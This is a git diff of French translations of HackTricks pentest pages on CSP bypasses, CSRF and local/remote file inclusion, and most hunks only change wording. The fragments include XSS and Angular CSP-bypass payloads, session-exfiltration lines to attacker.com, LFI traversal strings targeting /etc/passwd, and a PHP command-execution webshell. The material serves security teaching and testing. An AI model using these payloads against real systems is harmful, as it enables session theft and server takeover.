Si l'injection de JS n'est pas possible, vous pourriez toujours essayer d'exfiltrer par exemple des identifiants **en injectant une action de formulaire** (et peut-être en espérant que les gestionnaires de mots de passe remplissent automatiquement les mots de passe). Vous pouvez trouver un [**exemple dans ce rapport**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). De plus, notez que `default-src` ne couvre pas les actions de formulaire.
|
||||
|
||||
### Points de terminaison tiers + ('unsafe-eval')
|
||||
|
||||
|
@ -227,10 +227,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Payloads utilisant Angular + une bibliothèque avec des fonctions qui retournent l'objet `window` ([consultez ce post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)) :
|
||||
#### Payloads utilisant Angular + une bibliothèque avec des fonctions qui retournent l'objet `window` ([consultez ce post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
Le post montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre dépôt de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques retournent l'objet `window`**.
|
||||
Le post montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre dépôt de bibliothèques JS autorisées), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques retournent l'objet `window`**.
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
|
@ -274,7 +274,7 @@ ng-init="c.init()"
|
|||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
Plus de [**charges utiles de cet article**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/) :
|
||||
Plus de [**payloads de cet article**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/) :
|
||||
```html
|
||||
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
|
||||
|
||||
|
@ -351,7 +351,7 @@ Vous devriez être en mesure d'exfiltrer des données, de la même manière que
|
|||
5. Allez dans "Gestionnaire d'événements" de votre application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements pourrait être trouvé dans une URL similaire à ceci : https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par "votre" site web.
|
||||
|
||||
Ensuite, du côté de la victime, vous exécutez le code suivant pour initialiser le pixel de suivi Facebook pour pointer vers l'ID d'application du compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
|
||||
Ensuite, du côté de la victime, vous exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers l'ID d'application du compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
|
@ -374,7 +374,7 @@ Cela fonctionne parce que pour le navigateur, vous chargez un fichier nommé `..
|
|||
|
||||
∑, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
En **exploité cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
|
||||
En **exploiter cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
|
||||
|
||||
La solution consiste à ne pas traiter `%2f` comme `/` côté serveur, garantissant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
|
||||
|
||||
|
@ -428,7 +428,7 @@ D'autres points de terminaison d'exécution arbitraire JSONP peuvent être trouv
|
|||
|
||||
Que se passe-t-il lorsque CSP rencontre une redirection côté serveur ? Si la redirection mène à une origine différente qui n'est pas autorisée, elle échouera toujours.
|
||||
|
||||
Cependant, selon la description dans [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirection mène à un chemin différent, elle peut contourner les restrictions d'origine.
|
||||
Cependant, selon la description dans [CSP spec 4.2.2.3. Chemins et Redirections](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirection mène à un chemin différent, elle peut contourner les restrictions d'origine.
|
||||
|
||||
Voici un exemple :
|
||||
```html
|
||||
|
@ -470,7 +470,7 @@ Vous pouvez contourner cette CSP en exfiltrant les données via des images (dans
|
|||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Vous pourriez également abuser de cette configuration pour **charger du code javascript inséré dans une image**. Si, par exemple, la page permet de charger des images depuis Twitter. Vous pourriez **créer** une **image spéciale**, **la télécharger** sur Twitter et abuser de l'**"unsafe-inline"** pour **exécuter** un code JS (comme un XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Vous pourriez également abuser de cette configuration pour **charger du code javascript inséré dans une image**. Si, par exemple, la page permet de charger des images depuis Twitter. Vous pourriez **créer** une **image spéciale**, **la télécharger** sur Twitter et abuser de l'**"unsafe-inline"** pour **exécuter** un code JS (comme un XSS classique) qui **chargera** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Avec les Service Workers
|
||||
|
||||
|
@ -583,7 +583,7 @@ Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`** :
|
|||
{% endcode %}
|
||||
|
||||
Dans [**ce rapport CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il a été possible via **HTML injection** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc la **vulnérabilité est devenue exploitable.**\
|
||||
Le CSP peut être rendu plus restrictif en utilisant **HTML meta tags** et les scripts en ligne peuvent désactiver **la suppression** de l'**entrée** permettant leur **nonce** et **activer des scripts en ligne spécifiques via sha** :
|
||||
Le CSP peut être rendu plus restrictif en utilisant **des balises meta HTML** et les scripts en ligne peuvent désactiver **la suppression** de **l'entrée** permettant leur **nonce** et **activer des scripts en ligne spécifiques via sha** :
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
|
@ -618,12 +618,12 @@ Les deux méthodes exploitent les nuances de l'implémentation et du comportemen
|
|||
|
||||
Trick from [**here**](https://ctftime.org/writeup/29310).
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Hacking Insights**\
|
||||
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des insights en temps réel
|
||||
|
@ -663,14 +663,14 @@ SOME est une technique qui abuse d'un XSS (ou d'un XSS très limité) **dans un
|
|||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui va **réfléchir** les **données** envoyées dans la sortie (avec la limitation de seulement des lettres, des chiffres et des points).
|
||||
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui va **réfléchir** les **données** envoyées dans la sortie (avec la limitation des lettres, chiffres et points uniquement).
|
||||
|
||||
Un attaquant peut abuser de ce point de terminaison pour **générer une attaque SOME** contre WordPress et **l'incorporer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque SOME** via le point de terminaison **vulnérable** **callback** qui **contourne le CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\
|
||||
Pour plus d'informations sur la façon de réaliser cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## Contournements d'exfiltration CSP
|
||||
|
||||
S'il y a un CSP strict qui ne vous permet pas de **interagir avec des serveurs externes**, il y a certaines choses que vous pouvez toujours faire pour exfiltrer les informations.
|
||||
S'il existe un CSP strict qui ne vous permet pas de **interagir avec des serveurs externes**, il y a certaines choses que vous pouvez toujours faire pour exfiltrer les informations.
|
||||
|
||||
### Emplacement
|
||||
|
||||
|
@ -681,7 +681,7 @@ document.location = "https://attacker.com/?" + sessionid;
|
|||
```
|
||||
### Meta tag
|
||||
|
||||
Vous pouvez rediriger en injectant une balise meta (il s'agit simplement d'une redirection, cela ne fuitera pas de contenu)
|
||||
Vous pouvez rediriger en injectant une balise meta (ceci est juste une redirection, cela ne fuit pas de contenu)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||
```
|
||||
|
@ -752,7 +752,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -775,9 +775,9 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux dépôts github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -59,7 +59,7 @@ Plusieurs contre-mesures peuvent être mises en œuvre pour se protéger contre
|
|||
* Utiliser `http://mal.net?orig=http://example.com` (l'URL se termine par l'URL de confiance)
|
||||
* Utiliser `http://example.com.mal.net` (l'URL commence par l'URL de confiance)
|
||||
* **Modification des noms de paramètres** : Alterner les noms des paramètres dans les requêtes POST ou GET peut aider à prévenir les attaques automatisées.
|
||||
* **Tokens CSRF** : Incorporer un token CSRF unique dans chaque session et exiger ce token dans les requêtes suivantes peut réduire considérablement le risque de CSRF. L'efficacité du token peut être renforcée en appliquant CORS.
|
||||
* **Tokens CSRF** : Incorporer un token CSRF unique dans chaque session et exiger ce token dans les requêtes suivantes peut considérablement atténuer le risque de CSRF. L'efficacité du token peut être renforcée en appliquant CORS.
|
||||
|
||||
Comprendre et mettre en œuvre ces défenses est crucial pour maintenir la sécurité et l'intégrité des applications web.
|
||||
|
||||
|
@ -87,7 +87,7 @@ Cette vulnérabilité permet aux attaquants de faire des requêtes non autorisé
|
|||
|
||||
### Contournement de méthode
|
||||
|
||||
Si la requête utilise une "**méthode**" **"étrange"**, vérifiez si la **fonctionnalité** de **surcharge de méthode** fonctionne. Par exemple, si elle **utilise une méthode PUT**, vous pouvez essayer d'**utiliser une méthode POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
Si la requête utilise une "**méthode**" **"étrange"**, vérifiez si la **fonctionnalité de remplacement de méthode** fonctionne. Par exemple, si elle **utilise une méthode PUT**, vous pouvez essayer d'**utiliser une méthode POST** et **envoyer** : _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||
|
||||
Cela pourrait également fonctionner en envoyant le **paramètre \_method à l'intérieur d'une requête POST** ou en utilisant les **en-têtes** :
|
||||
|
||||
|
@ -125,7 +125,7 @@ Voici un exemple de la façon dont une attaque pourrait être structurée :
|
|||
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Notez que si le **token csrf est lié au cookie de session, cette attaque ne fonctionnera pas** car vous devrez définir la session de la victime, et donc vous vous attaquerez à vous-même.
|
||||
Notez que si le **token csrf est lié au cookie de session, cette attaque ne fonctionnera pas** car vous devrez définir la session de la victime, et donc vous vous attaquerez vous-même.
|
||||
{% endhint %}
|
||||
|
||||
### Changement de Content-Type
|
||||
|
@ -161,7 +161,7 @@ Lors de l'envoi de données JSON via une requête POST, l'utilisation de `Conten
|
|||
|
||||
### Contournement de la vérification du référent / origine
|
||||
|
||||
**Éviter l'en-tête Referer**
|
||||
**Éviter l'en-tête Référent**
|
||||
|
||||
Les applications peuvent valider l'en-tête 'Referer' uniquement lorsqu'il est présent. Pour empêcher un navigateur d'envoyer cet en-tête, le tag meta HTML suivant peut être utilisé :
|
||||
```xml
|
||||
|
@ -584,11 +584,11 @@ login(USER, line.strip())
|
|||
|
||||
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Aperçus du Hacking**\
|
||||
**Aperçus de Hacking**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
||||
**Actualités de Hacking en Temps Réel**\
|
||||
|
@ -608,8 +608,8 @@ Apprenez et pratiquez le Hacking GCP : <img src="../.gitbook/assets/grte.png" al
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux dépôts github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,17 +9,17 @@ Apprenez et pratiquez le hacking GCP : <img src="../../.gitbook/assets/grte.png"
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR au** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
Rejoignez le [**serveur Discord HackenProof**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Aperçus de hacking**\
|
||||
**Aperçus du hacking**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
||||
**Actualités de hacking en temps réel**\
|
||||
|
@ -28,11 +28,11 @@ Restez à jour avec le monde du hacking en rapide évolution grâce à des nouve
|
|||
**Dernières annonces**\
|
||||
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui !
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
## Inclusion de fichiers
|
||||
|
||||
**Inclusion de fichiers distants (RFI) :** Le fichier est chargé depuis un serveur distant (Meilleur : Vous pouvez écrire le code et le serveur l'exécutera). En php, cela est **désactivé** par défaut (**allow\_url\_include**).\
|
||||
**Inclusion de fichiers à distance (RFI) :** Le fichier est chargé depuis un serveur distant (Meilleur : Vous pouvez écrire le code et le serveur l'exécutera). En php, cela est **désactivé** par défaut (**allow\_url\_include**).\
|
||||
**Inclusion de fichiers locaux (LFI) :** Le serveur charge un fichier local.
|
||||
|
||||
La vulnérabilité se produit lorsque l'utilisateur peut contrôler d'une manière ou d'une autre le fichier qui va être chargé par le serveur.
|
||||
|
@ -47,7 +47,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||
```
|
||||
### **Linux**
|
||||
|
||||
**En mélangeant plusieurs listes LFI \*nix et en ajoutant plus de chemins, j'ai créé celle-ci :**
|
||||
**En mélangeant plusieurs listes LFI \*nix et en ajoutant d'autres chemins, j'ai créé celle-ci :**
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
|
||||
|
@ -73,7 +73,7 @@ Vérifiez la liste LFI de linux.
|
|||
|
||||
## LFI de base et contournements
|
||||
|
||||
Tous les exemples concernent l'inclusion de fichiers locaux, mais pourraient également être appliqués à l'inclusion de fichiers distants (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
||||
Tous les exemples sont pour l'inclusion de fichiers locaux mais pourraient également être appliqués à l'inclusion de fichiers distants (page=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
|
@ -83,7 +83,7 @@ http://example.com/index.php?page=....//....//....//etc/passwd
|
|||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
### **Octet nul (%00)**
|
||||
|
||||
Contourner l'ajout de plus de caractères à la fin de la chaîne fournie (contournement de : $\_GET\['param']."php")
|
||||
```
|
||||
|
@ -108,7 +108,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|||
```
|
||||
### Explorer les Répertoires du Système de Fichiers sur un Serveur
|
||||
|
||||
Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier des répertoires, pas seulement des fichiers, en utilisant certaines techniques. Ce processus implique de déterminer la profondeur du répertoire et de vérifier l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
|
||||
Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier des répertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus implique de déterminer la profondeur du répertoire et de sonder l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
|
||||
|
||||
1. **Déterminer la Profondeur du Répertoire :** Établissez la profondeur de votre répertoire actuel en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
|
||||
```bash
|
||||
|
@ -150,7 +150,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
|||
Dans ces scénarios, le nombre de traversées nécessaires pourrait être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
|
||||
|
||||
* **Utilisation de segments de points et de caractères supplémentaires** : Les séquences de traversée (`../`) combinées avec des segments de points supplémentaires et des caractères peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant efficacement les chaînes ajoutées par le serveur.
|
||||
* **Détermination du nombre requis de traversées** : Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour naviguer jusqu'au répertoire racine puis à `/etc/passwd`, en s'assurant que toutes les chaînes ajoutées (comme `.php`) sont neutralisées mais que le chemin souhaité (`/etc/passwd`) reste intact.
|
||||
* **Détermination du nombre requis de traversées** : Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour naviguer jusqu'au répertoire racine puis à `/etc/passwd`, en s'assurant que toutes les chaînes ajoutées (comme `.php`) sont neutralisées mais que le chemin désiré (`/etc/passwd`) reste intact.
|
||||
* **Commencer par un répertoire fictif** : Il est courant de commencer le chemin par un répertoire inexistant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour répondre aux exigences de la logique d'analyse de chemin du serveur.
|
||||
|
||||
Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse de chemin du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
|
||||
|
@ -204,7 +204,7 @@ Si l'utilisateur passe un **chemin absolu** à **`file_name`**, le **chemin pré
|
|||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Il s'agit du comportement prévu selon [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join) :
|
||||
C'est le comportement prévu selon [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join) :
|
||||
|
||||
> Si un composant est un chemin absolu, tous les composants précédents sont jetés et la jonction continue à partir du composant de chemin absolu.
|
||||
|
||||
|
@ -312,15 +312,15 @@ La partie "php://filter" est insensible à la casse
|
|||
|
||||
Dans l'article original, vous pouvez trouver une explication détaillée de la technique, mais voici un résumé rapide :
|
||||
|
||||
* Utilisez le codec **`UCS-4LE`** pour laisser le caractère de tête du texte au début et faire en sorte que la taille de la chaîne augmente de manière exponentielle.
|
||||
* Utilisez le codec **`UCS-4LE`** pour laisser le caractère de tête du texte au début et faire augmenter la taille de la chaîne de manière exponentielle.
|
||||
* Cela sera utilisé pour générer un **texte si grand lorsque la lettre initiale est devinée correctement** que php déclenchera une **erreur**.
|
||||
* Le filtre **dechunk** **supprimera tout si le premier caractère n'est pas un hexadécimal**, donc nous pouvons savoir si le premier caractère est hexadécimal.
|
||||
* Cela, combiné avec le précédent (et d'autres filtres selon la lettre devinée), nous permettra de deviner une lettre au début du texte en voyant quand nous faisons suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Parce que si c'est hexadécimal, dechunk ne le supprimera pas et la bombe initiale fera que php génère une erreur.
|
||||
* Cela, combiné avec le précédent (et d'autres filtres selon la lettre devinée), nous permettra de deviner une lettre au début du texte en voyant quand nous faisons suffisamment de transformations pour qu'elle ne soit plus un caractère hexadécimal. Parce que si c'est hexadécimal, dechunk ne le supprimera pas et la bombe initiale fera une erreur php.
|
||||
* Le codec **convert.iconv.UNICODE.CP930** transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un `a` par exemple, car si nous appliquons 6 de ce codec a->b->c->d->e->f->g, la lettre n'est plus un caractère hexadécimal, donc dechunk ne l'a pas supprimée et l'erreur php est déclenchée car elle se multiplie avec la bombe initiale.
|
||||
* En utilisant d'autres transformations comme **rot13** au début, il est possible de leak d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres dans la plage hexadécimale).
|
||||
* En utilisant d'autres transformations comme **rot13** au début, il est possible de leak d'autres caractères comme n, o, p, q, r (et d'autres codecs peuvent être utilisés pour déplacer d'autres lettres vers la plage hexadécimale).
|
||||
* Lorsque le caractère initial est un nombre, il est nécessaire de l'encoder en base64 et de leak les 2 premières lettres pour leak le nombre.
|
||||
* Le problème final est de voir **comment leak plus que la lettre initiale**. En utilisant des filtres de mémoire d'ordre comme **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, il est possible de changer l'ordre des caractères et d'obtenir en première position d'autres lettres du texte.
|
||||
* Et afin de pouvoir obtenir **davantage de données**, l'idée est de **générer 2 octets de données inutiles au début** avec **convert.iconv.UTF16.UTF16**, d'appliquer **UCS-4LE** pour le faire **pivoter avec les 2 octets suivants**, et de **supprimer les données jusqu'aux données inutiles** (cela supprimera les 2 premiers octets du texte initial). Continuez à faire cela jusqu'à atteindre le bit désiré à leak.
|
||||
* Et afin de pouvoir obtenir **plus de données**, l'idée est de **générer 2 octets de données inutiles au début** avec **convert.iconv.UTF16.UTF16**, d'appliquer **UCS-4LE** pour le faire **pivoter avec les 2 octets suivants**, et de **supprimer les données jusqu'aux données inutiles** (cela supprimera les 2 premiers octets du texte initial). Continuez à faire cela jusqu'à atteindre le bit désiré à leak.
|
||||
|
||||
Dans l'article, un outil pour effectuer cela automatiquement a également été leaké : [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
|
@ -335,7 +335,7 @@ Vous pouvez également utiliser **php://stdin, php://stdout et php://stderr** po
|
|||
|
||||
### zip:// et rar://
|
||||
|
||||
Téléchargez un fichier Zip ou Rar contenant un PHPShell à l'intérieur et accédez-y.\
|
||||
Téléchargez un fichier Zip ou Rar avec un PHPShell à l'intérieur et accédez-y.\
|
||||
Pour pouvoir abuser du protocole rar, il **doit être spécifiquement activé**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
|
@ -424,7 +424,7 @@ Vérifiez plus de [**protocoles possibles à inclure ici**](https://www.php.net/
|
|||
|
||||
## LFI via 'assert' de PHP
|
||||
|
||||
Les risques d'Inclusion de Fichiers Locaux (LFI) en PHP sont particulièrement élevés lors de l'utilisation de la fonction 'assert', qui peut exécuter du code dans des chaînes. Cela est particulièrement problématique si l'entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais pas correctement assainie.
|
||||
Les risques d'Inclusion de Fichiers Locaux (LFI) en PHP sont particulièrement élevés lorsqu'il s'agit de la fonction 'assert', qui peut exécuter du code à l'intérieur de chaînes. Cela est particulièrement problématique si l'entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais pas correctement assainie.
|
||||
|
||||
